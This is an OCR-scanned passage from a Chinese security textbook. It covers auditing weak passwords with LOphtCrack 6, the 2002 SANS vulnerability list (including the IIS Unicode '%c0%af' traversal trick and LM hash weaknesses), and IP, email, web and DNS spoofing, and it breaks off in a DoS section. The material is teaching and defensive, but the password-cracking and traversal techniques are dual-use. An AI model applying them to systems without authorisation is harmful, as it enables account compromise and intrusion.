在 PC1 上 安装 LOphtCrack, 下 载 最 新 版 的 LOphtCrack( 目 前 最 新 版 本 为 LC6.0)。 双 
击 安装 程序 lc6setup ,安装 LOphtCrack ,根据 提示 完成 安装 。 

使 用 LC6 检测 弱 口 令 。LC6 能 检测 Windows 和 UNIX/Linux 系统 用 户 的 口令 ,并 可 
以 根据 需要 要 求 用 户 修改 密码 。 具 体 使 用 方法 如 下 。 

(1) 打开 LC6, 此 时 该 软件 会 弹出 一 个 向 导 对 话 框 , 可 跟随 向 导 完 成 检测 设置 ,如 图 5-9 
所 示 。 


图 5-9 LO 检测 设置 向 导 


(2) 单 击 Next 按钮 ,在 弹出 的 对 话 框 中 可 以 选择 用 于 检测 的 加 密 密 码 的 来 源 ,一 共有 
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以 下 4 种 。 
D 本 机 注册 表 ,需要 系统 管理 员 权 限 。 
@ 同一 个 域内 的 计算 机 ,需要 系统 管理 员 权限 。 
© NT 系统 中 的 SAM 文件。 
@ 监听 本 地 网 络 中 传输 的 密码 散 列表 。 
本 例 选 取 第 一 种 方法 ,如 图 5-10 所 示 。 


图 5-10 LC6 检测 设置 向 导 1 


(3) 单 击 Next 按钮 ,在 弹出 的 对 话 框 中 可 以 选择 用 于 检测 密码 的 方法 ,一 共有 以 下 
4 种 。 

O 快速 检测 。 这 种 方法 将 LC6 自 带 的 字典 中 的 29000 个 单词 与 被 审计 的 密码 匹配 。 
这 种 方法 只 需要 数 分 钟 就 能 完成 检查 。 

@ 普通 检测 。 这 种 方法 除了 能 检测 上 述 密 码 ,还 可 以 检测 一 些 在 单词 基础 上 进行 简单 
修改 的 密码 。 

QD 强 密码 检测 。 这 种 方法 采用 暴力 破解 的 方式 来 检测 密码 ,通常 检测 时 间 超 过 一 天 。 

@ 定制 检测 。 这 种 方法 可 以 根据 需要 灵活 地 进行 配置 ,如 改变 字典 ,改变 混合 模式 的 
参数 以 及 选择 用 于 暴力 破解 的 字符 集 。 

一 般 来 说 ,检测 越 严 格 ,所 花费 的 时 间 就 越 长 。 本 实验 选取 第 一 种 方法 ,如 图 5-11 
所 示 。 

(4) 单 击 Next 按钮 ,在 弹出 的 对 话 框 中 选择 的 是 显示 方法 , 按 系统 默认 即 可 ,如 图 5-12 
所 示 。 

(5) 单 击 Next 按钮 ,在 弹出 的 对 话 框 中 将 选择 的 内 容 显示 出 来 , 单 击 Finish 按钮 ,工具 
就 开始 检测 ,如 图 5-13 所 示 。 
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图 5-12 LC6 检测 设置 向 导 3 


检测 的 结果 如 图 5-14 所 示 , 从 图 中 可 以 看 出 有些 用 户 的 弱 口 令 被 检测 出 来 了 。 此 时 
可 以 选择 菜单 中 的 Remediate 下 的 Disable Accounts 选项 ,禁止 该 账号 ; 或 选择 Force 
Password Change 选项 ,强迫 该 用 户 在 下 次 登录 时 修改 密码 。 
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?Give visible notification when done auditing 
?Show method used to crack password 


V]Save these settings as sessio. 


Press ‘Finish’ to begin auditing. 
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5-13 LC6 检测 设置 向 导 4 


(© estake LC6 - [Untitledl] DER 
File View Session Schedule Renediate Help 
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[Li Password [@ [Password [Password Age cd | 
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DICTIONARY/HYBRID 


SOFT-EFBFT. . ， Administrator SECURIT?727727 0 


Dictionary 1 of 1 [C:\Program Files\@stake\LCS\words-english. dic] 


图 5-14 LC6 检测 结果 
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5.3.3 漏洞 攻击 


1. 漏洞 基本 概念 

漏洞 是 指 硬件 、 软 件 或 策略 上 的 缺陷 ,从 而 可 使 攻击 者 能 够 在 未 经 授权 的 情况 下 访问 系 
统 。 通 常情 况 下 99. 99% 无 错 的 程序 很 少 会 出 问题 ,利用 那 0. 01% 的 错误 导致 100% 
的 失败 。 

2. 漏洞 产生 的 原因 

当今 的 系统 功能 越 来 越 强 ,体积 也 越 做 越 大 。 庞 大 的 系统 是 由 小 组 完成 的 ,不 能 指望 每 
个 人 都 不 犯错 ,也 不 能 指望 无 丝 漏 的 合作 。 加 上 人 的 惰性 ,不 愿意 仔细 地 进行 系统 的 安全 配 
置 。 这 样 一 来 ,本 来 比较 安全 的 系统 也 变 得 不 安全 了 。 例 如 ,默认 口令 、 函 数 入 口 不 检查 输 
出 参数 的 长 度 。 这 些 原因 主要 表现 在 以 下 3 个 方面 。 

(1) 编程 人 员 的 人 为 因素 ,在 程序 编写 过 程 , 为 实现 不 可 告 人 的 目的 ,在 程序 代码 的 隐 
项 处 保留 后 门 。 

(2) 受 编程 人 员 的 能 力 、 经 验 和 当时 安全 技术 所 限 ,在 程序 中 难免 会 有 不 足 之 处 , 轻 则 
影响 程序 效率 , 重 则 导致 非 授权 用 户 的 权限 提升 。 

(3) 由 于 硬件 原因 ,使 编程 人 员 无 法 弥补 硬件 的 漏洞 ,从 而 使 硬件 的 问题 通过 软件 表现 
出 来 。 

3. 漏洞 涉及 的 范围 

漏洞 涉及 的 范围 很 广 , 涉 及 网 络 的 各 个 环节 、 各 个 方面 ,包括 路 由 器 、 防 火 墙 操作 系统 、 
客户 和 服务 器 软件 。 例 如 ,一 台 提 供 网 上 产品 搜索 的 Web 服务 器 ,就 需要 注意 操作 系统 、 数 
据 库 系统 、Web 服务 软件 及 防火 墙 。 

4. 漏洞 的 时 间 效 应 

一 个 系统 从 发 布 的 那 一 天 起 , 随 着 用 户 的 深入 使 用 ,系统 中 存在 的 漏洞 会 被 不 断 暴露 出 
来 ,这 些 早先 被 发 现 的 漏洞 也 会 不 断 被 系统 供应 商 发 布 的 补丁 软件 修补 ,或 在 以 后 发 布 的 新 
版 系统 中 得 以 纠正 。 而 在 新 版 系统 纠正 了 旧版 本 中 具有 漏洞 的 同时 ,也 会 引入 一 些 新 的 漏 
洞 和 错误 。 因 而 随 着 时 间 的 推移 , 旧 的 漏洞 会 不 断 消失 ,新 的 漏洞 会 不 断 出 现 。 漏 洞 问题 也 
会 长 期 存在 。 

5. 漏洞 与 系统 攻击 之 间 的 关系 

漏洞 与 系统 攻击 之 间 存 在 这 样 的 关系 : 系统 攻击 者 往往 是 安全 漏洞 的 发 现 者 和 使 用 
者 ,要 对 于 一 个 系统 进行 攻击 ,如 果 不 能 发 现 和 使 用 系统 中 存在 的 安全 漏洞 是 不 可 能 成 
功 的 。 

6. 漏洞 的 类 型 

(1) 管理 漏洞 。 如 两 台 服务 器 用 同一 个 用 户 / 密 码 , 则 入 侵 了 A 服务 器 后 ,B 服务 器 也 
不 能 幸免 。 

(2) 软件 漏洞 。 很 多 程序 只 要 接收 到 一 些 异常 或 者 超 长 的 数据 和 参数 ,就 会 导致 缓冲 
Petit HH o 

(3) 结构 漏洞 。 例 如 ,在 某 个 重要 网 段 由 于 交换 机 、 集 线 器 设置 不 合理 ,造成 黑客 可 以 
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监听 网 络 通信 流 的 数据 。 又 如 ,防火 墙 等 安全 产品 部 署 不 合理 ,有 关 安 全 机 制 不 能 发 挥 作 
用 ,麻痹 技术 管理 人 员 而 酿 成 黑客 人 侵 事 故 。 

(4) 信任 漏洞 。 例 如 ,本 系统 过 分 信任 某 个 外 来 合作 伙伴 的 机 器 ,一 旦 这 台 合作 伙伴 的 
机 器 被 黑客 人 侵 , 则 本 系统 的 安全 受到 严重 威胁 。 

7. 漏洞 的 分 类 

2002 年 5 A www. sans. org 发 布 20 个 最 危险 的 三 类 安全 漏洞 : 影响 所 有 系统 的 7 个 
漏洞 (G1 一 G7) .影响 Windows 系统 的 6 个 漏洞 C(W1 一 W6) 影响 UNIX 系统 的 7 个 漏洞 
(U1~U7). 

1) 操作 系统 和 应 用 软件 的 默认 安装 (G1) 

软件 开发 商 的 逻辑 是 最 好 先 激活 还 不 需要 的 功能 ,而 不 是 让 用 户 在 需要 时 再 去 安装 额 
外 的 组 件 。 这 种 方法 尽管 对 用 户 很 方便 ,但 却 产 生 了 很 多 危险 的 安全 漏洞 ,因为 用 户 不 会 主 
动 地 给 他 们 不 使 用 的 软件 组 件 打 补丁 。 而 且 很 多 用 户 根 本 不 知道 实际 安装 了 什么 ,很 多 系 
统 中 留 有 安全 漏洞 就 是 因为 用 户 根本 不 知道 安装 了 这 些 程序 。 

大 多 数 操作 系统 和 应 用 程序 都 采取 这 样 的 方式 。 我 们 应 该 对 任何 接 到 Internet 上 的 系 
统 进行 端口 扫描 和 漏洞 扫描 。 印 载 不 必要 的 软件 , 关 掉 不 需要 的 服务 和 额外 的 端口 。 但 是 ， 
这 是 一 个 枯燥 而 且 耗 费时 间 的 工作 。 

2) 没有 口令 或 使 用 弱 口 令 的 账号 (G2) 

易 猜 的 口令 或 默认 口令 是 一 个 严重 的 问题 ,更 严重 的 是 有 的 账号 根本 没有 口令 。 应 进 
行 以 下 操作 。 

(1) 审计 用 户 系统 上 的 账号 ,建立 一 个 使 用 者 列表 。 

(2) 制定 管理 制度 ,规范 增加 账号 的 操作 ,及 时 移 走 不 再 使 用 的 账号 。 

G) 经 常 检 查 确认 有 没有 增加 新 的 账号 ,不 使 用 的 账号 是 否 已 被 删除 。 当 雇员 或 承包 
人 离开 公司 时 ,或 当 账 号 不 再 需要 时 ,应 有 严格 的 制度 保证 删除 这 些 账号 。 

(4) 对 所 有 的 账号 运行 口令 破解 工具 ,以 寻找 弱 口令 或 没有 口令 的 账号 。 

3) 没有 备份 或 者 备份 不 完整 (G3) 

从 事故 中 恢复 要 求 及 时 的 备份 和 可 靠 的 数据 存储 方式 。 应 列 出 一 份 紧要 系统 的 列表 ， 
制定 备份 方式 和 策略 。 重 要 问题 如 下 。 

(1) 系统 是 否 有 备份 。 

(2) 备份 间隔 是 可 接受 的 吗 ? 

(3) 系统 是 按 规定 进行 备份 的 吗 ? 

(4) 是 否 确认 备份 介质 正确 地 保存 了 数据 。 

(5) 备份 介质 是 否 在 室内 得 到 了 正确 的 保护 。 

(6) 是 否 在 另 一 处 还 有 操作 系统 和 存储 设施 的 备份 (包括 必要 的 license key). 

(7) 存储 过 程 是 否 被 测试 及 确认 。 

4) 大 量 打开 的 端口 (G4) 

合法 的 用 户 和 攻击 者 都 通过 开放 端口 连接 系统 。 端 口 开 得 越 多 ,进入 系统 的 途径 就 
越 多 。 

netstat 命令 可 以 在 本 地 运行 以 判断 哪些 端口 是 打开 的 ,但 更 保险 的 方法 是 对 用 户 的 系 
统 进行 外 部 的 端口 扫描 。 一 旦 确定 了 哪些 端口 是 打开 的 , 接 下 来 的 任务 是 确定 所 必须 打开 
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的 端口 的 最 小 集合 ,关闭 其 他 端口 ,找到 这 些 端口 对 应 的 服务 ,并 关闭 / 移 走 它们 。 

5) 没有 过 滤 地 址 不 正确 的 包 (G5) 

IP 地 址 欺诈 ,如 Smurf 攻击 。 对 流 进 和 流出 用 户 网 络 的 数据 进行 过 滤 。 

任何 进入 用 户 网 络 的 数据 包 不 能 把 用 户 网 络 内 部 的 地 址 作为 源 地 址 ; 必须 把 用 户 网 络 
内 部 的 地 址 作为 目的 地 址 。 任 何 离开 用 户 网 络 的 数据 包 必 须 把 用 户 网 络 内 部 的 地 址 作为 源 
地 址 ; 不 能 把 用 户 网 络 内 部 的 地 址 作为 目的 地 址 。 

任何 进入 或 离开 用 户 网 络 的 数据 包 不 能 把 一 个 私有 地 址 (Private Address) 或 在 
RFC1918 中 列 出 的 属于 保留 空间 (包括 10. x. x. x/8、172. 16. x. x/12 或 192. 168. x. x/16 和 
网 络 回 送 地 址 127. 0. 0.0/8. ) 的 地 址 作为 源 或 目的 地 址 。 

6) 不 存在 或 不 完整 的 日 志 (G6) 

安全 领域 的 一 句 名 言 是 :“ 预 防 是 理想 的 ,但 检测 是 必须 的 ”"。 一 旦 被 攻击 ,没有 日 志 ， 
用 户 会 很 难 发 现 攻击 者 都 做 了 什么 。 在 所 有 重要 的 系统 上 应 定期 做 日 志 , 而 且 日 志 应 被 定 
期 保存 和 备份 ,因为 用 户 不 知 何 时 会 需要 它 。 

查看 每 一 个 主要 系统 的 日 志 , 如 果 没有 日 志 或 它们 不 能 确定 被 保存 了 下 来 ,系统 就 容易 
被 攻击 。 所 有 系统 都 应 在 本 地 记录 日 志 , 并 把 日 志 发 到 一 个 远 端 系统 保存 。 这 提供 了 元 余 
和 一 个 额外 的 安全 保护 层 。 不 论 何 时 ,用 一 次 性 写 入 的 媒质 记录 日 志 。 

7) 易 被 攻击 的 CGI 程序 (G7) 

大 多 数 的 Web 服务 器 都 支持 CGI 程序 。 

(1) 从 用 户 的 Web 服务 器 上 移 走 所 有 CGI 示范 程序 。 

(2) 审核 剩余 的 CGI 脚本 , 移 走 不 安全 的 部 分 。 

(3) 保证 所 有 的 CGI 程序 员 在 编写 程序 时 ,都 进行 输入 缓冲 区 长 度 检查 。 

(4) 为 所 有 不 能 除去 的 漏洞 打上 补丁 。 

(5) 保证 用 户 的 CGI bin 目录 下 不 包括 任何 的 编译 器 或 解释 器 。 

(6) 从 CGI bin 目录 下 删除 “view-source” 脚 本 。 

(7) 不 要 以 Administrator 或 root 权限 运行 Web 服务 器 。 大 多 数 的 Web 服务 器 可 能 
配置 成 较 低 的 权限 ,如 “nobody”。 

(8) 不 要 在 不 需要 CGI 的 Web 服务 器 上 配置 CGI 支持 。 

8) Unicode 漏洞 (W1) 

不 论 何 种 平台 , 何 种 程序 , 何 种 语言 ,Unicode 为 每 一 个 字符 提供 了 一 个 独一无二 的 序 
号 。 通 过 向 IIS 服务 器 发 出 一 个 包括 非法 Unicode UTF-8 序列 的 URL, 攻 击 者 可 以 迫使 服 
务 器 逐 字 “进入 或 退出 "目录 并 执行 任意 程序 (Seript 脚本 ) ,这 种 攻击 被 称 为 目录 转换 攻击 。 

Unicode 用 %2f A% 5c 分 别 代表 /和 \。 但 用 户 也 可 以 用 所 谓 的 “ 超 长 ”序列 来 代表 这 
些 字符 。“ 超 长 ”序列 是 非法 的 Unicode 表示 符 , 它 们 比 实际 代表 这 些 字符 的 序列 要 长 。/ 和 \ 
均 可 以 用 一 个 字 节 来 表示 。 超 长 的 表示 法 ,如 用 %c0%af 代表 /用 了 两 个 字 节 。IIS 不 对 超 
长 序列 进行 检查 。 这 样 在 URL 中 加 入 一 个 超 长 的 Unicode 序列 ,就 可 以 绕 过 Microsoft 的 
安全 检查 。 如 果 用 户 在 运行 一 个 未 打 补 丁 的 IIS, 那 么 用 户 是 易 受 到 攻击 的 。 

9) ISAPI 缓冲 区 扩展 溢出 (W2) 

安装 IIS 后 ,就 自动 安装 了 多 个 ISAPI extensions, ISAPI 代表 Internet Services 
Application Programming Interface, 人 允许 开发 人 员 使 用 DLL 扩展 US 服务 器 的 性 能 。 一 些 
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动态 连接 库 , 如 idq. dll, 有 编程 错误 ,使 得 他 们 做 不 正确 的 边界 检查 。 特 别 是 ,它们 不 阻塞 
超 长 字符 串 。 攻 击 者 可 以 利用 这 一 点 向 DLL 发 送 数据 ,造成 缓冲 区 溢出 ,进而 控制 IIS 服 
务 器 。 

安装 最 新 的 Microsoft 的 补丁 ,同时 管理 员 应 检查 并 取消 所 有 不 需要 的 ISAPI 扩展 。 
经 常 检查 这 些 扩展 有 没有 被 恢复 。 该 漏洞 不 影响 Windows XP。 

请 记 住 最 小 权限 规则 ,用 户 的 系统 应 运行 系统 正常 工作 所 需 的 最 少 服务 。 

10) IIS RDS 的 使 用 (Microsoft Remote Data Services) (W3) 

黑客 可 以 利用 IIS's Remote Data Services (RDS) 中 的 漏洞 以 Administrator 权限 在 远 
端 运行 命令 。 如 果 用 户 在 运行 一 个 未 打 补 丁 的 系统 ,用 户 是 易 被 攻击 的 。 

11) NetBIOS 一 一 未 保护 的 Windows 网 络 共享 (W4) 

Server Message Block (SMB) 协 议 ,也 称 为 Common Internet File System (CIFS). fù 
许 网 络 间 的 文件 共享 。 不 正确 的 配置 可 能 会 导致 系统 文件 的 暴露 或 给 予 黑客 完全 的 系统 访 
问 权 。 

在 Windows 的 主机 上 人 允许 文件 共享 使 得 它们 容易 受到 信息 窃贼 和 某 种 快速 移动 的 病 
毒 的 攻击 。 

(1) 在 共享 数据 时 ,确保 只 共享 所 需 目录 。 

(2) 为 增加 安全 性 ,只 对 特定 IP 地 址 进行 共享 ,因为 DNS 名 可 以 欺诈 。 

(3) 对 Windows 系统 (NT,2000) ,只 允许 特定 用 户 访问 共享 文件 夹 。 

(4) 对 Windows 系统 ,禁止 通过 “ 空 对 话 ” 连 接 对 用 户 组、 系统 配置 和 注册 密 钥 进行 匿 
名 列举 。 在 W5 中 有 更 详尽 的 信息 。 

(5) 对 主机 或 路 由 器 上 的 NetBIOS 会 话 服务 (TCP 139), Microsoft CIFS (TCP/UDP 
445) 禁 止 不 绑 定 的 连接 。 

(6) 考虑 在 独立 或 彼此 不 信任 的 环境 下 ,在 连接 Internet 的 主机 上 部 署 Restrict 
Anonymous Registry Key. 

12) 通过 空 对 话 连接 造成 的 信息 泄露 (W5) 

空 对 话 连接 (Null Session) ,也 称 为 匿名 登录 ,是 一 种 允许 匿名 用 户 获 取信 息 ( 如 用 户 名 
或 共享 文件 ) ,或 不 需 认 证 进行 连接 的 机 制 。explorer. exe 利用 它 来 列举 远程 服务 器 上 的 共 
享 文件 。 在 Windows NT 和 Windows 2000 系统 下 ,许多 本 地 服务 是 在 SYSTEM 账号 下 运 
行 的 ,又 称 为 Windows 2000 的 LocalSystem。 很 多 操作 系统 都 使 用 SYSTEM 账号 。 当 一 
台 主 机 需要 从 另 一 台 主 机 上 获取 系统 信息 时 ,SYSTEM 账号 会 为 另 一 台 主 机 建立 一 个 空 对 
话 。SYSTEM 账号 实际 拥有 无 限 的 权利 ,而 且 没 有 密码 ,所 以 用 户 不 能 以 SYSTEM 的 方 
式 登 录 。 

SYSTEM 有 时 需要 获取 其 他 主机 上 的 一 些 信息 ,如 可 获取 的 共享 资源 和 用 户 名 等 典型 
的 网 上 邻居 功能 。 由 于 它 不 能 以 用 户 名 和 口令 进入 ,因此 它 使 用 空 对 话 连 接 进 入 ,不 幸 的 是 
攻击 者 也 可 以 相同 的 方式 进入 。 

13) Weak hashing in SAM (LM hash)(W6) 

尽管 Windows 的 大 多 数 用 户 不 需要 LAN Manager 的 支持 ,微软 还 是 在 Windows NT 
和 Windows 2000 系统 里 默认 安装 了 LAN Manager 口令 散 列 。 由 于 LAN Manager 使 用 的 
加 密 机 制 比 微软 现在 的 方法 脆弱 ,LAN Manager 的 口令 能 在 很 短 的 时 间 内 被 破解 。LAN 
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Manager 散 列 的 主要 脆弱 性 在 于 以 下 几 个 方面 。 
(1) 长 的 口令 被 截 成 14 个 字符 。 
(2) 短 的 口令 被 填补 空格 变 成 14 个 字符 。 
(3) 口令 中 所 有 的 字符 被 转换 成 大 写 。 
(4) 口令 被 分 割 成 两 个 7 个 字符 的 片断 。 
(5) LAN Manager 容易 被 监听 口令 散 列 。 监 听 可 以 为 攻击 者 提供 用 户 的 口令 。 


5.3.4 欺骗 攻击 


网 络 欺骗 技术 是 利用 TCP/IP 协议 本 身 的 缺陷 对 TCP/IP 网 络 进行 攻击 的 一 种 复杂 的 
技术 。 主 要 的 方式 有 IP 欺骗 .ARP 欺骗 ,DNS 欺骗 ,Web 欺骗 .E-mail 欺骗 .Cookie 欺骗 、 
源 路 由 欺骗 等 。 还 有 一 些 非 技术 类 欺骗 ,这 些 类 型 的 攻击 是 把 精力 集中 在 攻击 的 人 力 因素 
上 。 它 需要 通过 社会 工程 技术 来 实现 。 

1. IP 欺骗 

一 般 情况 下 ,路 由 器 在 转发 报 文 的 时 候 , 只 根据 报 文 的 目的 地 址 查 路 由 表 , 而 不 管 报 文 
的 源 地 址 是 什么 ,因此 这 样 就 可 能 面临 一 种 危险 : 如 果 一 个 攻击 者 向 一 台 目 标 计算 机 发 出 
一 个 报 文 ,而 把 报 文 的 源 地址 填写 为 第 三 方 的 一 个 IP 地 址 ,这 样 这 个 报 文 在 到 达 目 标 计算 
机 后 ,目标 计算 机 便 可 能 向 毫 无 知觉 的 第 三 方 计算 机 回应 ,这 便 是 所 谓 的 IP 地 址 欺骗 攻击 。 
这 是 非常 低 等 级 的 技术 ,因为 所 有 的 应 答 都 回 到 了 被 盗用 了 地 址 的 机 器 上 ,而 不 是 攻击 者 的 
机 器 。 这 被 称 为 盲目 飞行 攻击 (Flying Blind Attack) 或 者 单 向 攻击 (One-Way Attack). 

这 种 攻击 虽 有 一 些 限制 ,但 就 某 一 特定 类 型 的 拒绝 服务 攻击 而 言 , 是 非常 有 效 的 ,而 且 
地 址 欺骗 会 让 人 们 更 难于 找到 攻击 者 的 根源 。 比 较 著 名 的 SQL Server 蠕虫 病毒 ,就 是 采用 
了 这 种 原理 。 该 病毒 (可 以 理解 为 一 个 攻击 者 ) 向 一 台 运 行 SQL Server 解析 服务 的 服务 器 
发 送 一 个 解析 服务 的 UDP 报 文 ,该 报 文 的 源 地址 填写 为 另外 一 台 和 运行 SQL Server 解析 程 
FF (SQL Server 2000 以 后 版 本 ) 的 服务 器 ,这 样 由 于 SQL Server 解析 服务 的 一 个 漏洞 ,就 可 
能 使 得 该 UDP 报 文 在 这 两 台 服务 器 之 间 往 复 ,最 终 导致 服务 器 或 网 络 瘫痪 。 

2. IP 源 路 由 欺骗 

IP 报 文 首部 的 可 选项 中 有 “ 源 站 选 路 ”, 可 以 指定 到 达 目 的 站 点 的 路 由 。 正 常情 况 下 ， 
目的 主机 如 果 有 应 答 或 其 他 信息 返回 源 站 ,就 可 以 直接 将 该 路 由 反 向 运用 作为 应 答 的 回复 
路 径 。 

例如 ,主机 A( 假 设 IP 地 址 是 192. 168. 100. 11) 是 主机 B( 假 设 IP 地 址 为 192. 168. 100. 
1) 的 被 信任 主机 ,主机 X 想 冒 充 主机 A 从 主机 B 获得 某 些 服务 。 首 先 , 攻 击 者 修改 距离 X 
最 近 的 路 由 器 G2 ,使 用 到 达 此 路 由 器 且 包 含 目 的 地 址 192. 168. 100. 1 的 数据 包 以 主机 X 
所 在 的 网 络 为 目的 地 ; 然后 ,攻击 者 X 利 用 IP 欺骗 (把 数据 包 的 源 地 址 改 为 192. 168. 100. 
11) 向 主机 B 发 送 带 有 源 路 由 选项 (指定 最 近 的 G2) 的 数据 包 。 当 B 回 送 数据 包 时 , 按 收 到 
数据 包 的 源 路 由 选项 反 转 使 用 源 路 由 ,传送 到 被 更 改过 的 路 由 器 G2。 由 于 G2 路 由 表 已 被 
修改 , 收 到 B 的 数据 包 时 ,G2 根据 路 由 表 把 数据 包 发 送 到 X 所 在 的 网 络 ,X 可 在 其 局 域 网 
内 较 方便 地 进行 监听 ,收取 此 数据 包 。 

防范 IP 源 路 由 欺骗 的 好 方法 主要 有 以 下 两 种 。 
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(1) 配置 好 路 由 器 ,使 它 抛弃 那些 由 外 部 网 进来 的 声称 是 内 部 主机 的 报 文 ; 

(2) 关闭 主机 和 路 由 器 上 的 源 路 由 功能 。 

3. E-mail 欺骗 

E-mail 的 发 送 方 地 址 的 欺骗 。 比 如 说 ,E-mail 看 上 去 是 来 自 A, 但 事实 上 A 没有 发 信 ， 
是 冒充 A 的 人 发 的 信 。 

攻击 者 使 用 电子 邮件 欺骗 有 两 个 目的 : 隐藏 自己 的 身份 .冒充 别人 骗取 敏感 信息 。 

E-mail 欺骗 攻击 采用 的 一 种 方法 是 相似 的 电子 邮件 地 址 。 

使 用 这 种 类 型 的 攻击 ,攻击 者 搜集 到 一 些 企业 的 老板 或 者 高 管 的 信息 。 用 这 些 信息 注 
册 一 些 E-mail 账号 ,然后 在 这 些 E-mail 的 别名 字段 填 和 人 这些 管理 者 的 名 字 。 我 们 知道 , 别 
名 字段 是 显示 在 用 户 的 邮件 客户 的 发 件 人 字段 中 。 因 为 邮件 地 址 似乎 是 正确 的 ,所 以 收 信 
人 很 可 能 会 回复 它 , 这 样 攻击 者 就 会 得 到 想 要 的 信息 。 

邮件 欺骗 攻击 采用 另 一 个 更 复杂 的 方法 是 远程 登录 到 邮件 服务 器 的 端口 25。 因 为 邮 
件 服务 器 使 用 25 端口 在 互联 网 上 发 送 邮 件 。 当 攻击 者 想 发 送 给 用 户 信 息 时 ,他 先 写 一 个 信 
息 , 然 后 单 击发 送 " 按 钮 。 接 下 来 他 的 邮件 服务 器 与 用 户 的 邮件 服务 器 联系 ,在 端口 25 发 
送信 息 ,转移 信息 。 用 户 的 邮件 服务 器 然后 把 这 个 信息 发 送 给 用 户 。 

因为 邮件 服务 器 使 用 端口 25 发 送信 息 , 攻 击 者 也 会 连接 到 25, 装 作 是 一 台 邮 件 服务 
器 ,然后 写 一 个 信息 。 有 时 攻击 者 会 使 用 端口 扫描 来 判断 哪个 端口 25 是 开放 的 ,以 此 找到 
邮件 服务 器 的 IP 地 址 。 
越 来 越 多 的 系统 管理 员 正 在 意识 到 攻击 者 在 使 用 他 们 的 系统 进行 欺骗 ,所 以 更 新 版 的 
邮件 服务 器 不 允许 邮件 转发 ,并 且 一 个 邮件 服务 器 应 该 只 发 送 或 者 接收 一 个 指定 域名 或 者 
公司 的 邮件 。 

4. Web 欺骗 


越 来 越 多 的 电子 商务 开始 使 用 Internet。 一 些 基 本 的 网 站 欺骗 是 攻击 者 假 骨 一 些 网 
站 , 盗 取信 息 。 攻 击 者 特别 设计 并 注册 一 个 完整 的 令 人 信服 的 网 站 ,但 实际 上 它 却 是 一 个 虚 
假 的 复制 ,是 与 将 要 攻击 的 网 站 非常 类 似 的 有 欺骗 性 的 站 点 。 攻 击 者 控制 这 个 虚假 的 Web 
站 点 ,受害 者 浏览 器 和 Web 之 间 所 有 网 络 通信 完全 被 攻击 者 截获 。 当 一 个 用 户 浏览 了 这 个 
假冒 地 址 ,并 与 站 点 做 了 一 些 信 息 交 流 , 如 填写 了 一 些 表单 ,站 点 会 给 出 一 些 响应 的 提示 和 
回答 ,同时 记录 下 用 户 的 信息 ,甚至 给 这 个 用 户 一 个 Cookie, 以 便 能 随时 跟踪 这 个 用 户 。 典 
型 的 例子 是 假冒 金融 机 构 ,偷盗 客户 的 信用 卡 信息 等 。 

另 一 种 欺骗 方式 是 URL 重 写 。 利 用 URL 重 写 ,攻击 者 能 够 把 网 络 流量 转 到 攻击 者 控 
制 的 Web 服务 器 上 , 即 攻击 者 可 以 将 自己 的 Web 地 址 加 在 所 有 URL 地 址 的 前 面 。 这 样 ， 
当 用 户 与 站 点 进行 安全 链接 时 ,就 会 毫 无 防备 地 进入 攻击 者 的 服务 器 ,于 是 用 户 的 所 有 信息 
便 处 于 攻击 者 的 监视 之 中 。 但 由 于 浏览 器 一 般 均 设 有 地 址 栏 和 状态 栏 , 当 浏览 器 与 某 个 站 
点 连接 时 ,可 以 在 地 址 栏 和 状态 样 中 获得 连接 中 的 Web 站 点 地 址 及 其 相关 的 传输 信息 ,用 
户 由 此 可 以 发 现 问 题 ,所 以 攻击 者 往往 在 URL 地 址 重 写 的 同时 ,利用 相关 信息 排 盖 技术 ， 
一 般 用 JavaScript 或 VBScript 程序 来 重 写 地 址 栏 和 状态 栏 ,以 达到 其 掩盖 欺骗 的 目的 。 因 
此 ,可 以 通过 禁止 执行 Script 功能 来 防范 URL 重 写 。 
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5. DNS 欺骗 攻击 

当 一 个 DNS 服务 器 掉 和 人 陷阱 ,使 用 了 来 自 一 个 恶意 DNS 服务 器 的 错误 信息 ,那么 该 
DNS 服务 器 就 被 欺骗 了 。DNS 攻击 途径 主要 包括 途径 缓存 感染 、DNS 信息 劫持 .DNS E 
定向 。 

缓存 感染 是 将 数据 放 入 一 个 没有 设防 的 DNS 服务 器 的 缓存 当中 。 这 些 缓存 信息 会 在 
客户 进行 DNS 访问 时 返回 给 客户 ,从 而 将 客户 引导 到 入 侵 者 所 设置 的 运行 木马 的 Web 服 
务 器 或 邮件 服务 器 上 ,然后 黑客 从 这 些 服务 器 上 获取 用 户 信息 。 

DNS 信息 劫持 是 和 人 侵 者 通过 监听 客户 端 和 DNS 服务 器 的 对 话 , 通 过 猜测 服务 器 响应 
给 客户 端的 DNS 查询 ID。 每 个 DNS 报 文 包括 一 个 相关 联 的 16 位 ID 号 ,DNS 服务 器 根据 
这 个 ID 号 获取 请 求 源 位 置 。 黑 客 在 DNS 服务 器 之 前 将 虚假 的 响应 交 给 用 户 , 从 而 欺骗 客 
户 端 去 访问 恶意 的 网 站 。 

DNS 重 定向 是 攻击 者 能 够 将 DNS 名 称 查 询 重 定向 到 恶意 DNS 服务 器 。 这 样 攻击 者 
可 以 获得 DNS 服务 器 的 写 权限 。 

用 户 可 以 直接 用 IP 访问 重要 的 服务 ,这样 至 少 可 以 避 开 DNS 欺骗 攻击 。 但 这 需要 用 
户 记 住 要 访问 的 IP 地 址 。 还 可 以 加 密 所 有 对 外 的 数据 流 , 对 服务 器 来 说 就 是 尽量 使 用 
SSH 之 类 的 有 加 密 支持 的 协议 ,对 一 般 用 户 应 该 用 PGP 之 类 的 软件 加 密 所 有 发 到 网 络 上 
的 数据 来 防范 DNS 欺骗 攻击 。 


5.3.5 拒绝 服务 攻击 


1. 基本 概念 

不 能 认为 拒绝 服务 (Denial of Service, DoS) 是 微软 的 DoS 操作 系统 。DoS 攻击 是 一 种 
利用 合理 的 服务 请 求 占用 过 多 的 服务 资源 ,从 而 使 合法 用 户 无 法 得 到 服务 响应 的 网 络 攻 击 
行为 。 

单一 的 DoS 攻击 一 般 是 采用 一 对 一 方式 的 , 当 攻 击 目标 CPU 速度 低 、 内 存 小 或 者 网 络 
带宽 小 等 各 项 性 能 指标 不 高 时 , 它 的 效果 是 明显 的 。 随 着 计算 机 与 网 络 技术 的 发 展 , 计 算 机 
的 处 理 能 力 迅 速 增长 ,内 存 大 大 增加 ,同时 也 出 现 了 千 兆 级 别 的 网 络 , 这 使 得 DoS 攻击 的 困 
难 程度 加 大 了 。 例 如 ,攻击 者 的 攻击 软件 每 秒 钟 可 以 发 送 4000 个 攻击 包 , 但 用 户 的 主机 与 
